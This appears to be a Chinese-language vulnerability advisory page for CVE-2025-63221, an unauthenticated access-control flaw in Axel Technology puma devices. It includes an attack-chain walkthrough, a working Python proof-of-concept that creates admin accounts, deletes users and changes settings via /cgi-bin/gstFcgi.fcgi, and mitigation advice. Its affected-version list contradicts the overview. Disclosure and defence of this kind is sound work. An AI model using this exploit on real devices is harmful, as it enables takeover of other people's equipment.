IPBUF安全漏洞报告
English
CVE-2025-63221 CVSS 9.1 严重

CVE-2025-63221 | Axel Technology puma 设备 Broken Access Control 漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-63221
漏洞类型
Broken Access Control (访问控制失效)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Axel Technology puma 设备

相关标签

Broken Access Control访问控制失效无需认证CVE-2025-63221Axel Technology pumaCGI漏洞远程代码执行工控设备漏洞固件漏洞

漏洞概述

Axel Technology puma 设备(固件版本 0.8.5 至 1.0.3)存在严重的访问控制缺陷漏洞。该漏洞源于 /cgi-bin/gstFcgi.fcgi 端点缺少身份认证机制,允许未认证的远程攻击者直接访问敏感功能。攻击者无需任何凭据即可列出设备上的用户账户、创建新的管理员账户、删除现有用户以及修改系统配置设置。此漏洞可导致攻击者完全控制受影响设备,造成设备完全沦陷。由于该漏洞无需认证即可利用,且CVSS评分高达9.1,属于严重安全风险,建议受影响用户立即采取修复措施。

技术细节

该漏洞存在于 Axel Technology puma 设备的 CGI 接口实现中。具体来说,/cgi-bin/gstFcgi.fcgi 端点缺少必要的身份验证检查,允许任何未认证的用户直接访问后端功能。攻击者可以通过构造特定的 HTTP 请求来调用以下敏感操作:1) 用户列表查询 - 攻击者可以枚举设备上的所有用户账户信息;2) 用户创建 - 攻击者可以创建新的管理员级别账户,从而获得持久化的管理访问权限;3) 用户删除 - 攻击者可以删除现有用户账户,干扰设备正常运营;4) 系统设置修改 - 攻击者可以更改设备配置,可能导致服务中断或进一步的安全问题。由于该接口直接与底层系统交互,攻击成功将导致设备完全沦陷,攻击者可进一步利用该设备作为网络入口点进行横向移动。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描互联网或内部网络,发现运行 Axel Technology puma 固件(版本 0.8.5-1.0.3)的设备,并确认 /cgi-bin/gstFcgi.fcgi 端点可访问
STEP 2
步骤2
漏洞利用:攻击者直接向 /cgi-bin/gstFcgi.fcgi 端点发送未认证的 HTTP POST 请求,无需任何凭据即可触发用户列表查询、用户创建、用户删除或系统设置修改等敏感操作
STEP 3
步骤3
权限提升:攻击者通过 create_user 命令创建新的管理员账户,获得设备的持久化管理访问权限
STEP 4
步骤4
持久化控制:攻击者利用新创建的管理员账户登录设备管理界面,进一步修改系统配置、植入后门或提取敏感信息
STEP 5
步骤5
横向移动:攻击者以被入侵的 puma 设备为跳板,对内网其他系统发起进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-63221 PoC - Axel Technology puma Broken Access Control Axel Technology puma devices (firmware 0.8.5-1.0.3) - Missing authentication on /cgi-bin/gstFcgi.fcgi """ import requests import json import sys TARGET = "http://<target-ip>" # Replace with target IP ENDPOINT = f"{TARGET}/cgi-bin/gstFcgi.fcgi" def list_users(): """List all user accounts on the device""" payload = { "cmd": "list_users", "format": "json" } try: response = requests.post(ENDPOINT, data=payload, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response.json() except Exception as e: print(f"[-] Error listing users: {e}") return None def create_admin_user(username, password): """Create a new administrator user""" payload = { "cmd": "create_user", "username": username, "password": password, "role": "admin", "format": "json" } try: response = requests.post(ENDPOINT, data=payload, timeout=10) print(f"[*] Creating admin user: {username}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response.json() except Exception as e: print(f"[-] Error creating user: {e}") return None def delete_user(username): """Delete a user account""" payload = { "cmd": "delete_user", "username": username, "format": "json" } try: response = requests.post(ENDPOINT, data=payload, timeout=10) print(f"[*] Deleting user: {username}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response.json() except Exception as e: print(f"[-] Error deleting user: {e}") return None def modify_settings(settings): """Modify system settings""" payload = { "cmd": "set_settings", "settings": json.dumps(settings), "format": "json" } try: response = requests.post(ENDPOINT, data=payload, timeout=10) print(f"[*] Modifying system settings") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response.json() except Exception as e: print(f"[-] Error modifying settings: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-63221.py <action> [args]") print("Actions: list_users, create_admin, delete_user, modify_settings") sys.exit(1) action = sys.argv[1] if action == "list_users": list_users() elif action == "create_admin" and len(sys.argv) == 4: create_admin_user(sys.argv[2], sys.argv[3]) elif action == "delete_user" and len(sys.argv) == 3: delete_user(sys.argv[2]) elif action == "modify_settings": settings = {"key": "value"} # Configure as needed modify_settings(settings) else: print("Invalid action or missing arguments") sys.exit(1)

影响范围

Axel Technology puma 固件 < 0.8.5
Axel Technology puma 固件 0.8.5 - 1.0.3

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 通过网络防火墙或 ACL 规则限制对受影响设备 /cgi-bin/gstFcgi.fcgi 端点的访问,只允许授权的管理 IP 进行访问;2) 关闭设备的远程管理功能,改为仅通过本地网络访问;3) 监控设备日志,密切关注异常的用户账户创建和系统设置修改行为;4) 考虑部署入侵检测系统(IDS)监控针对该端点的可疑请求;5) 定期审计设备上的用户账户,及时发现和移除未经授权创建的账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表